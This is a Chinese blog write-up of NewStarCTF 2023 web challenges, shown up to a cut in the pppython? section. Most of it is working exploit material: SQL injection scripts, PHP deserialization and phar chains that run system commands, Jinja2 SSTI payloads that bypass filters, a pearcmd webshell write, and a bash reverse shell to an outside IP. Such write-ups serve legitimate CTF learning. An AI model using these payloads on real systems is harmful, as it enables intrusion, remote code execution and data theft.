Z1d10tのBlog

A note for myself,have fun!

  1. 1. 前言
  2. 2. WEEK1
    1. 2.1. ErrorFlask
    2. 2.2. Begin of HTTP
  3. 3.
    1. 3.1. Begin of Upload
    2. 3.2. 泄漏的秘密
    3. 3.3. Begin of PHP
    4. 3.4. R!C!E!
    5. 3.5. EasyLogin
  4. 4. WEEK2
    1. 4.1. 游戏高手
    2. 4.2. ez_sql
    3. 4.3. Upload again!
    4. 4.4. Unserialize?
    5. 4.5. include 0。0
    6. 4.6. R!!C!!E!!
  5. 5. WEEK3
    1. 5.1. medium_sql
    2. 5.2. Include
    3. 5.3. POP Gadget
    4. 5.4. GenShin
    5. 5.5. R!!!C!!!E!!!
    6. 5.6. OtenkiGirl
  6. 6. WEEK4
    1. 6.1. More Fast
    2. 6.2.
    3. 6.3. flask disk
    4. 6.4. PharOne
    5. 6.5. InjectMe
    6. 6.6. midsql
    7. 6.7. OtenkiBoy(未解出)
  7. 7. WEEK5
    1. 7.1. Unserialize Again
      1. 7.1.1. 非预期
      2. 7.1.2. 预期解
    2. 7.2. Final
    3. 7.3. pppython?
      1. 7.3.1. 第一种方式 脚本计算
      2. 7.3.2. 第二种方式gopher发包
    4. 7.4. NextDrive
    5. 7.5. 4-复盘(未解出)
    6. 7.6. Ye’s Pickle(未解出)
  8. 8. 结尾

小阶段完成

前言

经过五周的比赛,恭喜NewStar2023(校内赛道)圆满结束了 ★,°:.☆( ̄▽ ̄)/$:.°★

这里是Z1d10t的WEB方向题解

3题未解出 还是太菜了qwq

日后会更加努力!

WEEK1

ErrorFlask

报错之后能看到是flask框架的 然后就能得到源码

img

Begin of HTTP

正常考察请求头参数

img

Begin of Upload

前端检测绕过

泄漏的秘密

/www.zip源码泄露

Begin of PHP

get:?key1[]=1&key2[]=2&key4[]=4&key5=2024%00

post:key3[]=3&flag5[]=1

img

R!C!E!

1
password=114514&e[v.a.l=var_dump(shell_exec('more /f*'));

img

EasyLogin

爆破的时候会获得一条一条的提示

1
2
3
4
5
 The password is randomly selected from a list

这个密码恰如题目简介,一分不多,一分不少

Is your password weak?

一开始一直以为 这个密码恰如题目简介,一分不多,一分不少的意思是密码9位 但是之后和出题人聊了之后 和这个根本没关系 只想表达是弱口令密码

密码是000000 当然记得要通过md5加密之后再爆破

登录然后放掉这个包 然后还会跳转到一个包 就能获得密码

img

WEEK2

游戏高手

修改得分即可

img

ez_sql

手动注个jb sqlmap一把梭就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sqlmap -u http://90770cb7-62be-4275-af63-238c7fe26d62.node4.buuoj.cn:81/?id=1 --dbs
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] test

sqlmap -u http://90770cb7-62be-4275-af63-238c7fe26d62.node4.buuoj.cn:81/?id=1 -D ctf --tables
grades |
| here_is_flag


sqlmap -u http://90770cb7-62be-4275-af63-238c7fe26d62.node4.buuoj.cn:81/?id=1 -D ctf -T here_is_flag --columns
flag | varchar(255)


sqlmap -u http://90770cb7-62be-4275-af63-238c7fe26d62.node4.buuoj.cn:81/?id=1 -D ctf -T here_is_flag -C "flag" --dump

Upload again!

考点:

  • htaccess

很基础

Unserialize?

考点:

  • php反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd='nl /th1s_1s_fffflllll4444aaaggggg';

public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
$a = new evil();
echo urlencode(serialize($a));
?>
#O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A33%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg%22%3B%7D

include 0。0

禁了base所以不能用常用的base64转码了 换种转码方式

1
?file=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php

img

再解码

1
2
3
4
<?php
$str = "?<hp p//lfga5{719c28-e567c4-d9-1dab5e-7c6326be71}9";
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>

img

R!!C!!E!!

考点:

  • git泄露
  • 无参rce

首先获得源码 得到/bo0g1pop.php路由

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['code']);
}
}
GET /bo0g1pop.php?star=system(next(getallheaders())); HTTP/1.1
Host: 18e0aabc-695f-46fd-b4e2-3557e66a3cdc.node4.buuoj.cn:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: cat /flag
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __gads=ID=2a013f3dde9ad985-2254f58cafe700cf:T=1689741221:RT=1689742200:S=ALNI_Maqp-fX6ej98tcXJHWIvb4mWhQdSg; __gpi=UID=00000c2221d9f3e8:T=1689741221:RT=1689742200:S=ALNI_MZMzVabCNghJHJfa6k9qDxOuQgInA
Connection: close

利用User-Agent字段进行构造rce

WEEK3

medium_sql

考察:

  • sql盲注

直接sqlmap level3梭哈或者自己写个脚本(沙贝是自己)

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
url = 'http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/'
result=''
for i in range(1,50):
low=31
high=127
mid = (low+high)//2
while low<=high:
paylaod = "TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23".format(i,mid)
#爆库爆数据语句差不多 关键字被ban大写绕过就行
r = requests.get(url+"?id="+paylaod)
if ("English" in r.text):
low = mid+1
mid = (low+high)//2
else:
high = mid-1
mid = (low+high)//2
result+=chr(high+1)
time.sleep(0.3)
print(result)

Include

考点:

  • pearcmd

根据提示

img

register_argc_argv是on

那么register_argc_argv是什么呢

简单说 register_argc_argv开启时我们传入get的参数会被记录在$_SERVER这个全局变量数组中

并且$argc变量是⽤于记录数组的⼤⼩ $argv变量是⽤于记录输⼊的参数

条件:

  • ⽼版本(测试版本为5.2.17)默认为 On
  • 新版本(测试版本为 5.4.45、5.5.9、7.3.4)默认为 Off

我们要传入如果正常传入参数,数组的大小永远是1

img

如果要表示两个数组,需要用+隔开

img

来自:

https://www.shawroot.cc/1643.html

https://cloud.tencent.com/developer/article/2204400?areaId=106001

一般这个搭配pearcmd使用 写马到网站根目录下 然后包含rce即可

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?>+/tmp/hello.php

记得要抓一次包重写一下一句话木马 不然会被转码导致不成功

POP Gadget

考点:

  • php反序列化

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Begin{
public $name;
}
class Then{
private $func;
public function __construct(){
$this->func = new Super();
}
}
class Handle{
protected $obj;
public function __construct(){
$this->obj = new CTF();
}
}
class Super{
protected $obj;
public function __construct(){
$this->obj = new Handle();
}
}
class CTF{
public $handle;
public function __construct(){
$this->handle = new WhiteGod();
}


}
class WhiteGod{
public $func = 'system';
public $var = 'cat /flag';
}
$a = new Begin();
$a->name = new Then();
echo urlencode(serialize($a));

GenShin

考点:

  • flask ssti

抓包获得

img

一眼丁真flask ssti注入

img

直接当脚本小子

或者payload:

1
{%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}

R!!!C!!!E!!!

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

payload:

反序列化套一下就行了

1
cat /flag|t\e\e /var/www/html/1

将读到的flag通过管道符用tee写道网站根目录下 然后访问

关键字通过反斜杠转义来绕过\

OtenkiGirl

考点:

  • nodejs 原型链污染

我是傻逼 关键东西老是看不到

给了源码

根据提示我们只需要关注routes包下的内容即可 也不需要sql注入

info.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

submit.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");

const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

const timeText = (timestamp) => {
timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
let text1 = timestamp.substring(0, timestamp.length / 2);
let text2 = timestamp.substring(timestamp.length / 2)
let text = "";
for (let i = 0; i < text1.length; i++)
text += text1[i] + text2[text2.length - 1 - i];
if (text2.length > text1.length) text += text2[0];
return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}

const rndID = (length, timestamp) => {
const t = timeText(timestamp);
if (length < t.length) return t.substring(0, length);
else return t + rndText(length - t.length);
}

async function insert2db(data) {
let date = String(data["date"]), place = String(data["place"]),
contact = String(data["contact"]), reason = String(data["reason"]);
const timestamp = Date.now();
const wishid = rndID(24, timestamp);
await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
[wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
return { wishid, date, place, contact, reason, timestamp }
}

const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

router.post("/submit", async (ctx) => {
if (ctx.header["content-type"] !== "application/json")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/json"
}

const jsonText = ctx.request.rawBody || "{}"
try {
const data = JSON.parse(jsonText);

if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
return ctx.body = {
status: "error",
msg: "Invalid parameter"
}
if (data["contact"].length <= 0 || data["reason"].length <= 0)
return ctx.body = {
status: "error",
msg: "Parameters contact and reason cannot be empty"
}

const DEFAULT = {
date: "unknown",
place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));
ctx.body = {
status: "success",
data: result
};
} catch (e) {
console.error(e);
ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

比较关键的就是这两个文件内容

简单审计一下

它会将我们提交的内容展示出来

并且会经过merge一个合并函数 熟人了

img

内容包括data,place,contact,reason,timestamp(时间戳)

那么在这里需要污染的点是什么呢

其实在这里给了提示

img

1
// Remove test data from before the movie was released

“他会删除电影上映前的数据” 也就是我们想要的数据在之前的时间里

img

再看上面||条件语句 存在一个短路 默认min_public_time是2019-07-09

CONFIG.min_public_time默认是无的 不存在

img

如果CONFIG.min_public_time有值那么短路就不会new default min_public_time的值

那么就需要原型链污染去修改这个CONFIG.min_public_time

min_public_time在config.default文件 然后被引入的 格式是这样的

img

只需要将这个时间改比它默认值小就行了

img

为什么呢 因为我们之前提交数据的时候会有一个时间戳 这个最小时间戳的生成是由这个CONFIG.min_public_time影响的

1
2
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);

所以修改CONFIG.min_public_time就会修改最总时间戳 使其回到之前的时间就能将之前的数据读出来

然后根据代码逻辑 访问/info/一个小值 内容就被打印出来

img

WEEK4

More Fast

考点:

  • fast destruct

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class Start{
public $errMsg;
}

class Pwn{
public $obj;
}

class Reverse{
public $func;

}

class Web{
public $func;
public $var;
}

class Crypto{
public $obj;

}

class Misc{
}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
$a->errMsg->obj->func->obj->var = "cat /f*";
$a->errMsg->obj->func->obj->func = "system";
echo serialize($a);
#O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}

一眼丁真 鉴定为反序列化字符串逃逸

考点:

  • 反序列化字符串逃逸

从bad->good会多出一个字符 那么经过序列化->waf->反序列化就会有一个字符逃逸出来

举例执行whoami

将这一串塞入";s:3:"cmd";s:6:"whoami";}那么就需要26个字符逃逸出来 那么就需要26个bad

paylaod:badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:6:"whoami";}

其他命令根据字符个数改相应的bad个数调整即可

payload:?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

flask disk

这道题我应该是非预期了

我的做法是 直接上传app.py 内容直接是python命令执行反弹shell

这样会覆盖题目的app.py 直接拿下

知识点:flask开启了debug模式下,app.py源文件被修改后会立刻加载。

PharOne

这道题太可惜了

一眼丁真就是phar反序列化利用

当时由于自己开了vpn 导致反弹shell一直过不来 错失良机

考点:

  • phar反序列化

首先给了恶意类

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
@unlink($_POST['file']);

先生成一个phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class Flag{
public $cmd;
public function __destruct()
{
@exec($this->cmd);
}
}
$a = new Flag();
$a->cmd = 'bash -c "bash -i >& /dev/tcp/8.130.34.53/7777 0>&1"';
@unlink("Z1d10t.phar");
$phar = new Phar("Z1d10t.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

上传上去之后显示过滤了__HALT_COMPILER

img

可以通过gzip压缩绕过 来自:php(phar)反序列化漏洞及各种绕过姿势img

然后还会检测上传文件后缀名以及mine

当然phar文件后缀名是无关紧要的 不是.phar照样能解析

所以将打包的压缩包改为任意后缀名都行

然后注意这里phar://协议要到Z1d10t.phar

上传上去之后file=phar://upload/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/Z1d10t.phar

记得关vpn 哭死

img

InjectMe

考点:

  • jinja2 ssti

首先是任意文件读取

1
/download?file=/app/app.py

获得源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

发现/backdoor 可以进行ssti 但是先获取key

查看源码 可以发现secret是由config引进来的

1
from config import secret_key

读取key/download?file=/app/config.py获得secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

最难绷的就是这个session里面进行ssti payload一多就会爆500错真的让人难绷

能不能对session的获取加个base64编解码。。。 真的会方便很多

还有session伪造的时候转义。。。。编个码吧

payload:{% print(config['_''_cl''ass_''_']['_''_in''it_''_']['_''_glo''bals_''_']['o''s']['pop''en']('head /y0*')['read']()) %}"}'

midsql

考点:

  • sql时间盲注

这个题目找到自己缺漏的地方了 没咋好好做过时间盲注

导致自己写的脚本注起来太慢了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time
url = 'http://fef1d48c-1c22-46b2-aba3-0d22fafc8c10.node4.buuoj.cn:81'
result=''
for i in range(1,50):
low=31
high=127
mid = (low+high)//2
while low<=high:
paylaod = "1/**/And/**/if(ascii(substr((select/**/group_Concat(name)/**/from/**/ctf.items),{},1))/**/>/**/{},sleep(5),0)%23".format(i,mid)
#爆库:1/**/And/**/if(ascii(substr(database(),{},1))/**/>/**/{},sleep(5),0)%23
#报表:1/**/And/**/if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'ctf'),{},1))/**/>/**/{},sleep(5),0)%23
#爆列:1/**/And/**/if(ascii(Substr((Select(group_Concat(column_name))from(Information_schema.columns)Where(table_name/**/like/**/'items')),{},1))/**/>/**/{},sleep(4),0)%23
#爆数据:
timestart = time.time()
r = requests.get(url+"?id="+paylaod)
timeend = time.time()
if (timeend - timestart >= 3):
low = mid+1
mid = (low+high)//2
else:
high = mid-1
mid = (low+high)//2
result+=chr(high+1)
print(result)

通过时间差值来判断有时候会不准

最好通过捕获异常的方式进行判断会更准

更好的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests
from tqdm import trange
res = ''
last = ' '
headers = {
'Host': '32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in trange(1, 1000):
for j in range(127, 31, -1):
url = r'http://32b8f193-b922-4f0d-a4e7-2228ad9174e3.node4.buuoj.cn:81/?id='
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
url = url + payload
# print(url)
try:
response = requests.get(url=url, timeout=3)
except Exception as e:
last = res
# print(chr(j+1))
res += chr(j+1)
# print(res)
break
print('[*] ' + res)

OtenkiBoy(未解出)

不太会 不想代码审计了qwq

WEEK5

Unserialize Again

考点:

  • phar反序列化
  • phar重签名

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
}

非预期

非预期了

由于没有控制路径

直接写马到网站根目录就行了

1
2
/pairing.php?pear=/var/www/html/a.php&apple=1
x=system('cat /flllag');

img

img

之后看看预期解学习

预期解

看了官方文档预期解来了

考察的phar重签名的知识点

首先恶意类利用很简单 只需要__wakeup和__destruct即可

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class story{
public $eating = 'cat /f*';
public $God='true';
}
$phar = new Phar("Z1d10t.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>");
$o = new story();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

__wakeup通过修改类属性个数绕过即可 这里就涉及到一个phar重签名的问题

因为我们的恶意payload是在phar文件中 生成phar之后修改类属性个数

按照官方WP

phar的最后有一段signature,是phar的签名,放在文件末尾,要注意因为我们修改了文件的内容,之前的签名就会无效,所以需要更换一个新的签名

修改签名脚本如下:

1
2
3
4
5
6
7
8
from hashlib import sha1
with open('Z1d10t.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
with open('ChangedPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件

然后将修改签名后的文件内容读出来url编码之后通过post传进去

再通过phar://协议读取即可成功rce

但是我没复现成功 我反弹shell去看上传的文件内容也没错 但是就是不得解 不知道什么原因

用官方WP中的脚本 也不成功

Final

报错发现是thinkphp5.0.23 那么可以直接根据版本去找漏洞利用

img

这里当时为了抢一血直接用工具梭哈了

写马到网站根目录下 发现禁了system 那么我们用passthru或者exec等无回显函数都可以 反正我们要进行反弹shell

img

记得payload要url编码一下

img

发现权限不够 涉及提权 那一般是考察suid提权

img

看看哪些命令有suid

有cp 呢铁定是cp提权了

img

直接把内容复制到/etc/passwd 然后拿flag

img

pppython?

这道题目应该借鉴的是SCTF2023的pypyp?

考点:

  • ssrf
  • flask pin码计算
  • gopher协议

做这道题目之前庆幸学习了0xgame2023一道ssrf打redis主从复制题目

学习Aecous师傅的的WP:) 师傅太强力ORZ

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}

?>

首先根据题目获取提示

1
?hint[]=your%3F&hint[]=mine!&hint[]=hint!!

拿到了/目录下的文件情况

可以醒目的发现app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
total 12
drwxr-xr-x 1 root root 51 Oct 22 15:23 .
drwxr-xr-x 1 root root 51 Oct 22 15:23 ..
-rwxr-xr-x 1 root root 0 Oct 22 15:23 .dockerenv
-rwxr-xr-x 1 root root 353 Oct 19 15:52 app.py
lrwxrwxrwx 1 root root 7 Nov 22 2021 bin -> usr/bin
drwxr-xr-x 2 root root 6 Nov 8 2021 boot
drwxr-xr-x 5 root root 360 Oct 22 15:23 dev
drwxr-xr-x 1 root root 66 Oct 22 15:23 etc
-rw------- 1 root root 43 Oct 22 15:23 flag
drwxr-xr-x 2 root root 6 Nov 8 2021 home
lrwxrwxrwx 1 root root 7 Nov 22 2021 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 22 2021 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 22 2021 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 22 2021 libx32 -> usr/libx32
drwxr-xr-x 2 root root 6 Nov 22 2021 media
drwxr-xr-x 2 root root 6 Nov 22 2021 mnt
drwxr-xr-x 2 root root 6 Nov 22 2021 opt
dr-xr-xr-x 3110 root root 0 Oct 22 15:23 proc
drwx------ 1 root root 20 Oct 19 15:52 root
drwxr-xr-x 1 root root 21 Oct 19 15:50 run
lrwxrwxrwx 1 root root 8 Nov 22 2021 sbin -> usr/sbin
drwxr-xr-x 2 root root 6 Nov 22 2021 srv
-rwx------ 1 root root 241 Oct 19 15:52 start.sh
dr-xr-xr-x 13 root root 0 Sep 19 01:23 sys
